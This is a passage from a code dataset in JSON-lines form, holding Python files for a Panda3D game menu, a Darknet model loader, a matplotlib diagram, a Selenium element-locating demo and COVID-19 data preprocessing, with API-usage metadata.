"line_number": 50, "usage_type": "name"}, {"api_name": "fileFuncs.ff.fileBase", "line_number": 53, "usage_type": "call"}, {"api_name": "fileFuncs.ff", "line_number": 53, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 87, "usage_type": "call"}, {"api_name": "fileFuncs.ff.fileBase", "line_number": 88, "usage_type": "call"}, {"api_name": "fileFuncs.ff", "line_number": 88, "usage_type": "name"}, {"api_name": "scipy.stats.zscore", "line_number": 91, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 97, "usage_type": "call"}, {"api_name": "BlenderStimuli.ramp_shape.materials", "line_number": 104, "usage_type": "attribute"}, {"api_name": "BlenderStimuli.ramp_shape", "line_number": 104, "usage_type": "name"}]}
+{"seq_id": "472498947", "text": "## -*- coding: utf-8 -*-\n\nfrom direct.showbase.ShowBase import ShowBase\nfrom direct.gui.OnscreenText import OnscreenText \nfrom direct.gui.DirectGui import *\nfrom panda3d.core import *\nfrom direct.interval.LerpInterval import *\nfrom direct.interval.IntervalGlobal import *\nfrom direct.showbase.Transitions import Transitions\nimport sys\n\nclass InterfaceMenuPrincipal(ShowBase):\n    def __init__(self):\n\n        #Image d'arrière plan\n        self.background=OnscreenImage(parent=render2d, image=\"../asset/Menu/menuPrincipal.jpg\")\n\n        #On dit à la caméra que le dernier modèle doit s'afficher toujours en arrière\n        self.baseSort = base.cam.node().getDisplayRegion(0).getSort()\n        base.cam.node().getDisplayRegion(0).setSort(20)\n\n        #Titre du jeu\n        self.textTitre = OnscreenText(text = \"Tankem!\",\n                                      pos = (0,0.6), \n                                      scale = 0.32,\n                                      fg=(0.8,0.9,0.7,1),\n                                      align=TextNode.ACenter)\n\n        #Boutons\n        btnScale = (0.18,0.18)\n        text_scale = 0.12\n        borderW = (0.04, 0.04)\n        couleurBack = (0.243,0.325,0.121,1)\n        separation = 0.5\n        hauteur = -0.6\n        self.b1 = DirectButton(text = (\"Jouer\", \"!\", \"!\", \"disabled\"),\n                          text_scale=btnScale,\n                          borderWidth = borderW,\n                          text_bg=couleurBack,\n                          frameColor=couleurBack,\n                          relief=2,\n                          command=self.chargeJeu,\n                          pos = (-separation,0,hauteur))\n\n\n        self.b2 = DirectButton(text = (\"Quitter\", \"Bye!\", \":-(\", \"disabled\"),\n                          text_scale=btnScale,\n                          borderWidth = borderW,\n                          text_bg=couleurBack,\n                          frameColor=couleurBack,\n                          relief=2,\n                          command = lambda : sys.exit(),\n                          pos = (separation,0,hauteur))\n        #Initialisation de l'effet de transition\n        curtain = loader.loadTexture(\"../asset/Menu/loading.jpg\")\n\n        self.transition = Transitions(loader)\n        self.transition.setFadeColor(0, 0, 0)\n        self.transition.setFadeModel(curtain)\n\n        self.sound = loader.loadSfx(\"../asset/Menu/demarrage.mp3\")\n\n    def cacher(self):\n            #Est esssentiellement un code de \"loading\"\n\n            #On remet la caméra comme avant\n            base.cam.node().getDisplayRegion(0).setSort(self.baseSort)\n            #On cache les menus\n            self.background.hide()\n            self.b1.hide()\n            self.b2.hide()\n            self.textTitre.hide()\n\n    def chargeJeu(self):\n            #On démarre!\n            Sequence(Func(lambda : self.transition.irisOut(0.2)),\n                     SoundInterval(self.sound),\n                     Func(self.cacher),\n                     Func(lambda : messenger.send(\"DemarrerMenuNiveau\")),\n                     Wait(0.2), #Bug étrange quand on met pas ça. L'effet de transition doit lagger\n                     Func(lambda : self.transition.irisIn(0.2))\n            ).start()\n", "sub_path": "tankem/Tankem/src/interface/interfaceMenuPrincipal.py", "file_name": "interfaceMenuPrincipal.py", "file_ext": "py", "file_size_in_byte": 3217, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "direct.showbase.ShowBase.ShowBase", "line_number": 12, "usage_type": "name"}, {"api_name": "direct.gui.OnscreenText.OnscreenText", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 52, "usage_type": "call"}, {"api_name": "direct.showbase.Transitions.Transitions", "line_number": 57, "usage_type": "call"}]}
+{"seq_id": "641809881", "text": "#   Copyright (C) 2020 by ZestIOT. All rights reserved. The information in this \n#   document is the property of ZestIOT. Except as specifically authorized in \n#   writing by ZestIOT, the receiver of this document shall keep the information\n#   contained herein confidential and shall protect the same in whole or in part from\n#   disclosure and dissemination to third parties. Disclosure and disseminations to \n#   the receiver's employees shall only be made on a strict need to know basis.\n\"\"\"\nInput: Configuration file path, Weight file path and meta file path of the cylinder model\nOutput: Image object, network and Class names, all of them are Darknet objects\n\nUser Requirement:\n1) Loads Cylinder detection model\n\nRequirements:\n1) This function loads the cylinder detection model with the given configuration file,\n   Weight file and meta file\n2 Returns the Darknet image, network and Class name objects which are inturn to make \n  cylinder detection.\"\"\"\n\n\nimport darknet\nimport json\nconfig=\"/home/zestiot/BPCL/BPCL_final/BPCL_config.json\"\nwith open(config) as json_data:\n\tinfo= json.load(json_data)\n\tconfigPath,weightPath,metaPath= info[\"xy_tracker\"][\"configPath\"],info[\"xy_tracker\"][\"weightPath\"],info[\"xy_tracker\"][\"metaPath\"]\n\ndef load_model():\n\tnetwork, class_names, class_colors = darknet.load_network(configPath,metaPath,weightPath,batch_size=1)\n\tdarknet_image = darknet.make_image(darknet.network_width(network),darknet.network_height(network),3)\n\treturn(darknet_image,network,class_names)\n", "sub_path": "flex1/BPCL_final/tracker_model.py", "file_name": "tracker_model.py", "file_ext": "py", "file_size_in_byte": 1503, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "json.load", "line_number": 25, "usage_type": "call"}, {"api_name": "darknet.load_network", "line_number": 29, "usage_type": "call"}, {"api_name": "darknet.make_image", "line_number": 30, "usage_type": "call"}, {"api_name": "darknet.network_width", "line_number": 30, "usage_type": "call"}, {"api_name": "darknet.network_height", "line_number": 30, "usage_type": "call"}]}
+{"seq_id": "362145698", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.patches import Polygon\nfrom matplotlib import rc\n\n__author__ = 'ernesto'\n\n# if use latex or mathtext\nrc('text', usetex=False)\n\n\ndef curly_brace(xmin, xmax, y, amp, position='up', beta=8, step=0.01):\n    xm = (xmin+xmax)/2\n    x_left = np.arange(xmin, xm, step)\n    hb_left = amp*(1/(1.+np.exp(-1*beta*(x_left-xmin)))+1/(1.+np.exp(-1*beta*(x_left-xm)))-1/2)\n    x = np.concatenate((x_left, np.arange(xm, xmax-step, step)))\n    hb = np.concatenate((hb_left, hb_left[-2::-1]))\n    if position == 'up':\n        return x, hb+y\n    elif position == 'down':\n        return x, -hb+y\n    elif position == 'left':\n        return hb, x\n    elif position == 'right':\n        return -hb, x\n\nK = 6\nM = K * 2\nt_max = M+2\nn1 = 9\nn2 = -4\ndtau = M/15\n\n# ticks length\ntl = t_max/40\n# y tick margin\nytm = 0.6\n# font size\nfont_size1 = 18\nfont_size2 = 12\n\nfig = plt.figure(1, figsize=(8, 8), frameon=False)\nax = fig.add_subplot(111)\nplt.ylim(-t_max, t_max)\nplt.xlim(-t_max, t_max)\n\n# axis arrows\nplt.annotate(\"\", xytext=(-t_max, 0), xycoords='data', xy=(t_max, 0), textcoords='data',\n             arrowprops=dict(width=0.2, headwidth=6, headlength=8, facecolor='black', shrink=0.002))\nplt.annotate(\"\", xytext=(0, -t_max), xycoords='data', xy=(0, t_max), textcoords='data',\n             arrowprops=dict(width=0.2, headwidth=6, headlength=8, facecolor='black', shrink=0.002))\n\n# axis labels\nplt.text(t_max, -0.8, r'$m$', fontsize=font_size2, ha='right', va='center')\nplt.text(ytm, t_max, r'$k$', fontsize=font_size2, ha='left', va='top')\n\n# positive tau\n# dashed lines\n# Equation: x(t_1) = t_1 + tau\nti1 = -M\nplt.plot([ti1, 0], [ti1+n1, n1], 'r--', dashes=(5, 3))\n\n# negative tau\n# dashed lines\nti2 = -M+5\nti3 = M/2\nplt.plot([ti2, ti3], [ti2+n2, ti3+n2], 'b--', dashes=(5, 3))\n\n# rectangle of points\nindex = np.arange(-K, K+1)\nfor i in index:\n    plt.plot(i*np.ones(2*K+1), index, 'k.', markersize=8)\n\n# yticks\nplt.plot([0, tl], [K, K], 'k-')\nplt.plot([0, tl], [-K, -K], 'k-')\nplt.plot([0, tl], [M, M], 'k-')\nplt.plot([0, tl], [-M, -M], 'k-')\nplt.plot([0, tl], [n1, n1], 'r-')\nplt.plot([0, tl], [n2, n2], 'b-')\n# ylabels\nplt.text(ytm, M, r'$2K$', fontsize=font_size2, ha='left', va='center')\nplt.text(ytm, -M, r'$-2K$', fontsize=font_size2, ha='left', va='center')\nplt.text(ytm, n1, r'$n$', fontsize=font_size2, ha='left', va='center', color='red')\nplt.text(-ytm/3, n2+0.3, r\"$n'$\", fontsize=font_size2, ha='right', va='center', color='blue')\nplt.text(ytm, K+0.1, r'$K$', fontsize=font_size2, ha='left', va='bottom')\nplt.text(ytm, -K-0.2, r'$-K$', fontsize=font_size2, ha='left', va='top')\n\n# xticks\nplt.plot([K, K], [0, tl], 'k-')\nplt.plot([-K, -K], [0, tl], 'k-')\n# xlabels\nplt.text(-K-0.2, 0.2, r'$-K$', fontsize=font_size2, ha='right', va='baseline')\nplt.text(K+0.2, 0.2, r'$K$', fontsize=font_size2, ha='left', va='baseline')\n\n\n# rects labels fot tau > 0\nplt.text(ti1, ti1+n1+0.4, r'$k-m=n$', fontsize=font_size2, rotation=45, ha='left', va='center', color='red')\n# rects labels fot tau < 0\nplt.text(ti2, ti2+n2+0.8, r\"$k-m=n'<0$\", fontsize=font_size2, rotation=45, ha='left', va='center', color='blue')\n\n# curly brace\nx1, b1 = curly_brace(-K, -(n1-K), K+2.5, 0.5, position='up', beta=20, step=0.02)\nplt.plot(x1, b1, 'k')\nplt.text((-n1+K-K)/2, K+4.6, r\"$-(n-K)-(-K)+1=$\", fontsize=font_size2,\n         ha='center', va='center')\nplt.text((-n1+K-K)/2, K+3.6, r\"$2K-n+1$\", fontsize=font_size2,\n         ha='center', va='center')\n\n# positive n annotations\nax.annotate(r\"$-K$\", xy=(-K, K), xycoords='data', xytext=(-K-2, K+1),\n            textcoords='data', va=\"center\", ha=\"right\", fontsize=font_size2,\n            arrowprops=dict(arrowstyle=\"->\", color=\"k\", shrinkA=15, shrinkB=3, patchA=None,\n                            patchB=None, connectionstyle=\"angle3,angleA=0,angleB=140\"))\n\nax.annotate(r\"$-(n-K)$\", xy=(-(n1-K), K), xycoords='data', xytext=(-K-2, K+2),\n            textcoords='data', va=\"center\", ha=\"right\", fontsize=font_size2,\n            arrowprops=dict(arrowstyle=\"->\", color=\"k\", shrinkA=30, shrinkB=3, patchA=None,\n                            patchB=None, connectionstyle=\"angle3,angleA=0,angleB=140\"))\n\n# negative n annotations\nax.annotate(r\"$-(n'+K)$\", xy=(-(n2+K), -K), xycoords='data', xytext=(-(n2+K)+0.2, -K-4),\n            textcoords='data', va=\"center\", ha=\"center\", fontsize=font_size2,\n            arrowprops=dict(arrowstyle=\"->\", color=\"k\", shrinkA=10, shrinkB=3, patchA=None,\n                            patchB=None, connectionstyle=\"angle3,angleA=90,angleB=140\"))\n\n# negative n annotations\nax.annotate(r\"$K$\", xy=(K, -K), xycoords='data', xytext=(K+0.2, -K-2),\n            textcoords='data', va=\"center\", ha=\"center\", fontsize=font_size2,\n            arrowprops=dict(arrowstyle=\"->\", color=\"k\", shrinkA=10, shrinkB=3, patchA=None,\n                            patchB=None, connectionstyle=\"angle3,angleA=90,angleB=140\"))\n\n\nplt.axis('off')\nplt.savefig('digital_pam_double_summation.eps', format='eps', bbox_inches='tight')\nplt.show()\n", "sub_path": "figuras/Pycharm_PSD_Report/digital_pam_double_summation.py", "file_name": "digital_pam_double_summation.py", "file_ext": "py", "file_size_in_byte": 5006, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.rc", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}]}
+{"seq_id": "292822248", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport os, random, sys, time, logging\nfrom selenium import webdriver\nfrom seleniumUtil import seleniumUtil\n\n# 元素定位\nb = webdriver.Chrome()\ntry:\n    print('--------------------------start---------------------------------')\n\n    b.get('http://www.baidu.com')\n    if '百度一下，你就知道' not in b.title:\n        raise ValueError('当前不是百度网页;')\n\n    kwEle = b.find_element_by_id('kw')\n    kwEle.clear()\n    kwEle.send_keys('python')\n    b.find_element_by_id('su').click()\n    time.sleep(1)\n    b.back()\n    time.sleep(1)\n    b.forward()\n\n    b.get('http://127.0.0.1/xpath.html')\n    print(b.current_url)\n    rootEle = b.find_element_by_xpath('/html')\n    formEle = b.find_element_by_xpath('/html/body/form')\n    input2Ele = b.find_element_by_xpath('/html/body/form/input[2]')\n    print(input2Ele.get_attribute('name'))\n    input2Ele.send_keys('2114')\n    ageInputEle = b.find_element_by_xpath('/html/body/p/input')\n    ageInputEle.send_keys(123)\n    print(b.find_element_by_xpath('//*[count(input)=2]').tag_name)\n    print('-------------------------success--------------------------------')\nexcept Exception as e:\n    seleniumUtil.save_screenshot(b)\n    logging.exception(e)\nfinally:\n    b.quit()\n    # print(os.system(\"ps -ef | grep chrome\"))\n\n\n\n\n", "sub_path": "selenium-example/elementFixedPosition.py", "file_name": "elementFixedPosition.py", "file_ext": "py", "file_size_in_byte": 1321, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 8, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}, {"api_name": "seleniumUtil.seleniumUtil.save_screenshot", "line_number": 37, "usage_type": "call"}, {"api_name": "seleniumUtil.seleniumUtil", "line_number": 37, "usage_type": "name"}, {"api_name": "logging.exception", "line_number": 38, "usage_type": "call"}]}
+{"seq_id": "276345961", "text": "import pandas as pd\r\nimport numpy as np\r\nimport torch\r\nimport datetime\r\nfrom sklearn import preprocessing\r\nimport os\r\nimport random\r\n\r\n\r\ndef disease():\r\n    '''\r\n    prepare the diseased related data (except normalization)\r\n    :return: diseased related data (except normalization)\r\n    '''\r\n    # raw historical confirmed cases\r\n    confirmed = pd.read_csv('../data/time_series_covid19_confirmed_global.csv', header=0)\r\n    # raw historical dead cases\r\n    death = pd.read_csv('../data/time_series_covid19_deaths_global.csv', header=0)\r\n    # raw historical recovered cases\r\n    recovered = pd.read_csv('../data/time_series_covid19_recovered_global.csv', header=0)\r\n    # name of countries or regions\r\n    region_name = sorted(list(set(confirmed['Country/Region'])))\r\n\r\n    disease_info = {}.fromkeys(region_name)\r\n    confirmed.drop(columns=['Lat', 'Long'], inplace=True)\r\n    death.drop(columns=['Lat', 'Long'], inplace=True)\r\n    recovered.drop(columns=['Lat', 'Long'], inplace=True)\r\n\r\n    # format the date to '%Y-%m-%d'\r\n    date = confirmed.columns[2:]\r\n    date = [datetime.date(2020, int(d.split('/')[0]), int(d.split('/')[1])) for d in date]\r\n    date = [d.__format__('%Y-%m-%d') for d in date]\r\n\r\n    for name in region_name:\r\n        # aggregate the confirmed cases in the same countries or regions\r\n        region_confirmed = confirmed[confirmed['Country/Region'] == name].iloc[:, 2:].agg(np.sum)\r\n        # aggregate the dead cases in the same countries or regions\r\n        region_death = death[death['Country/Region'] == name].iloc[:, 2:].agg(np.sum)\r\n        # aggregate the recovered cases in the same countries or regions\r\n        region_recovered = recovered[recovered['Country/Region'] == name].iloc[:, 2:].agg(np.sum)\r\n\r\n        # new daily confirmed cases\r\n        region_confirmed_delta = [region_confirmed[0]]\r\n        region_confirmed_delta.extend(np.diff(region_confirmed, n=1).tolist())\r\n\r\n        # new daily dead cases\r\n        region_death_delta = [region_death[0]]\r\n        region_death_delta.extend(np.diff(region_death, n=1).tolist())\r\n\r\n        # new daily recovered cases\r\n        region_recovered_delta = [region_recovered[0]]\r\n        region_recovered_delta.extend(np.diff(region_recovered, n=1).tolist())\r\n\r\n        # current number of hospitalizations\r\n        region_hospital = region_confirmed - region_recovered - region_death\r\n\r\n        temp = pd.DataFrame({'date': date, 'region': [name] * len(date),\r\n                             'confirmed': region_confirmed.values.tolist(),\r\n                             'death': region_death.values.tolist(),\r\n                             'recovered': region_recovered.values.tolist(),\r\n                             'confirmed_delta': region_confirmed_delta,\r\n                             'death_delta': region_death_delta,\r\n                             'recovered_delta': region_recovered_delta,\r\n                             'hospital': region_hospital.tolist()})\r\n        temp = temp[(temp.iloc[:, 2] != 0)]  # 去除疫情没有开始的日期\r\n        temp.reset_index(inplace=True, drop=True)\r\n        disease_info[name] = temp\r\n        if name == 'Taiwan*':\r\n            continue\r\n        temp.to_csv('../data/disease_hist/' + name + '.csv', index=False)\r\n\r\n    return disease_info\r\n\r\n\r\ndef mobility(region_name):\r\n    '''\r\n    prepare the mobility data (except normalization)\r\n    :param region_name: name of region\r\n    :return: mobility info of region\r\n    '''\r\n    # raw historical mobility data\r\n    mobility_global = pd.read_csv('../data/Global_Mobility_Report.csv', header=0, low_memory=False)\r\n    region = [region_name]\r\n    mobility_info = {}.fromkeys(region)\r\n\r\n    for name in region:\r\n        temp = mobility_global[mobility_global['country_region'] == name]\r\n        temp = temp[(pd.isnull(temp['sub_region_1'])) & (pd.isnull(temp['sub_region_2'])) & (pd.isnull(temp['metro_area']))]\r\n        mobi_type = temp.columns[8:14]   # six types of mobility\r\n        col = ['country_region', 'date']\r\n        col.extend(mobi_type)\r\n        temp = temp[col]\r\n        mobi_type = [i.split('_percent_change_from_baseline')[0] for i in temp.columns[2:8]]   # names of six types of mobility\r\n        col = ['country_region', 'date']\r\n        col.extend(mobi_type)\r\n        temp.columns = col   # update the colname of temp\r\n        temp.reset_index(inplace=True, drop=True)\r\n        temp.drop('country_region', axis=1, inplace=True)\r\n        mobility_info[name] = temp\r\n\r\n    return mobility_info\r\n\r\n\r\ndef drop_sample(data):\r\n    '''\r\n    如果day t的新增确诊数量为0，且day t+1 and day t+2的新增确诊数量也为0，则去除day t的样本\r\n    :param data: raw COVID-19 daily dataset released by Johns Hopkins University.\r\n    :return: preprocessed data.\r\n    '''\r\n    confirmed_delta = data['confirmed_delta']\r\n    ind = 0\r\n    for i in range(len(confirmed_delta)-2):\r\n        if ((confirmed_delta[i] != 0) & (confirmed_delta[i+1] != 0) & (confirmed_delta[i+2] != 0)):\r\n            ind = i\r\n            break\r\n    data = data.iloc[ind:,:]\r\n\r\n    return data, ind\r\n\r\n\r\ndef merge_hist(mobility_info, disease_info, country_name, mask_ind):\r\n    '''\r\n    merge the disease-related data and mobility info\r\n    :param mobility_info: the six type of mobility\r\n    :param disease_info: disease-related data\r\n    :param country_name: country name\r\n    :param mask_ind:\r\n    :return: prepared features, the index of the dropped row\r\n    '''\r\n    if mask_ind == None:\r\n        disease_pre = pd.read_csv('../result/disease_pre/India/3/' + country_name + '.csv', header=0)\r\n    else:\r\n        disease_pre = pd.read_csv('../result/disease_pre/India/3/' + country_name + '_' + str(mask_ind) + '.csv', header=0)\r\n    disease_region = disease_info[country_name]\r\n    disease_region = disease_region.drop(['confirmed', 'death', 'recovered'], axis=1)\r\n    disease_region, ind = drop_sample(disease_region)\r\n    temp = pd.merge(disease_region, mobility_info[country_name], how='inner', on='date')\r\n    temp = pd.merge(temp, disease_pre, how='left', on='date')\r\n    temp.drop(['confirmed_delta_real', 'confirmed_delta_est', 'infection_delta_est'], axis=1, inplace=True)\r\n    temp_selected = temp.iloc[:,:-14]   # 去掉感染率列\r\n    temp_selected['infect_rate'] = temp['infection_rate_10']\r\n    if mask_ind == None:\r\n        return temp_selected, ind\r\n    else:\r\n        temp_selected.to_csv('../result/feature_merge/' + country_name + '_' + str(mask_ind) + '.csv', index=False)\r\n        return temp_selected\r\n\r\n\r\ndef maxmin_scale(raw_data):\r\n    '''\r\n    0-1 normalize the data\r\n    :param raw_data: raw data\r\n    :return: normalized data\r\n    '''\r\n    label = raw_data.iloc[:, -1].values.reshape(-1, 1)\r\n    scaler = preprocessing.MinMaxScaler(feature_range=[0,1])\r\n    label_scaled = scaler.fit_transform(label)\r\n    raw_data = raw_data.iloc[:, 2:].values\r\n    min_max_scaler = preprocessing.MinMaxScaler(feature_range=[0,1])\r\n    disease_scaled = min_max_scaler.fit_transform(raw_data)\r\n    disease_scaled = pd.DataFrame(disease_scaled)\r\n\r\n    return disease_scaled, label_scaled, scaler, min_max_scaler\r\n\r\n\r\ndef hybrid_scale(raw_data):\r\n    '''\r\n    hybrid normalization (infection rate:z_score; else feature:0-1 normalization)\r\n    :param raw_data: raw data\r\n    :return: normalized data\r\n    '''\r\n    label = raw_data.iloc[:, -1].values.reshape(-1, 1)\r\n    scaler = preprocessing.StandardScaler()\r\n    label_scaled = scaler.fit_transform(label)\r\n    raw_data = raw_data.iloc[:, 2:-1].values\r\n    min_max_scaler = preprocessing.MinMaxScaler(feature_range=[0,1])\r\n    disease_scaled = min_max_scaler.fit_transform(raw_data)\r\n    # feature_merge = np.concatenate((disease_scaled, label_scaled), axis=1)\r\n    # feature_merge = pd.DataFrame(feature_merge)\r\n    feature_merge = pd.DataFrame(disease_scaled)\r\n\r\n    return feature_merge, label_scaled, scaler, min_max_scaler\r\n\r\n\r\ndef z_score_scale(raw_data):\r\n    '''\r\n    z_score normalize the data\r\n    :param raw_data: raw data\r\n    :return: normalized data\r\n    '''\r\n    label = raw_data.iloc[:, -1].values.reshape(-1, 1)\r\n    scaler = preprocessing.StandardScaler()\r\n    label_scaled = scaler.fit_transform(label)\r\n    raw_data = raw_data.iloc[:, 2:].values\r\n    z_score_scaler = preprocessing.StandardScaler()\r\n    disease_scaled = z_score_scaler.fit_transform(raw_data)\r\n    disease_scaled = pd.DataFrame(disease_scaled)\r\n\r\n    return disease_scaled, label_scaled, scaler, z_score_scaler\r\n\r\n\r\ndef series_to_supervised(data_copy, seq_len):\r\n    data = data_copy.copy()\r\n    data.loc['new_row'] = 1\r\n\r\n    # if the number of feature is one!\r\n    n_vars = 1 if type(data) is list else data.shape[1]\r\n    df = pd.DataFrame(data)\r\n    cols, names = [], []\r\n\r\n    # input sequence (t-seq_len, ... t-1)\r\n    for i in range(seq_len, 0, -1):\r\n        # down shift i days\r\n        cols.append(df.shift(i))\r\n        # the colname corresponding the the shifted column\r\n        names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\r\n\r\n    agg = pd.concat(cols, axis=1)\r\n    agg.columns = names\r\n    agg.dropna(inplace=True)\r\n\r\n    return agg\r\n\r\n\r\ndef data_split(train_val_data, label, window_backward, pred_day, n_features):\r\n    '''\r\n    :param train_val_data:\r\n    :param label:\r\n    :param window_backward:\r\n    :param pred_day:\r\n    :param n_features:\r\n    :return:\r\n    '''\r\n    train_val_y = [label[i: i + pred_day].tolist() for i in range(window_backward, len(label) - pred_day + 1)]\r\n    train_val_num = len(train_val_y)\r\n\r\n    train_val_X = train_val_data.values[:train_val_num,:]\r\n    train_num = int(train_val_num * 0.9)   # number of validation set is 5\r\n\r\n    # randomly choose train_ind and val_ind\r\n    train_ind = sorted(random.sample(range(train_val_num), train_num))\r\n    val_ind = [i for i in range(train_val_num) if i not in train_ind]\r\n    train_X = np.array([train_val_X[i,:].tolist() for i in train_ind])\r\n    train_y = np.array([train_val_y[i] for i in train_ind])\r\n    val_X = np.array([train_val_X[i,:].tolist() for i in val_ind])\r\n    val_y = np.array([train_val_y[i] for i in val_ind])\r\n\r\n    train_X = torch.tensor(train_X, dtype=torch.float).reshape(-1, window_backward, n_features)\r\n    train_y = torch.tensor(train_y, dtype=torch.float).reshape(-1, pred_day)\r\n    val_X = torch.tensor(val_X, dtype=torch.float).reshape(-1, window_backward, n_features)\r\n    val_y = torch.tensor(val_y, dtype=torch.float).reshape(-1, pred_day)\r\n    train_val_X = 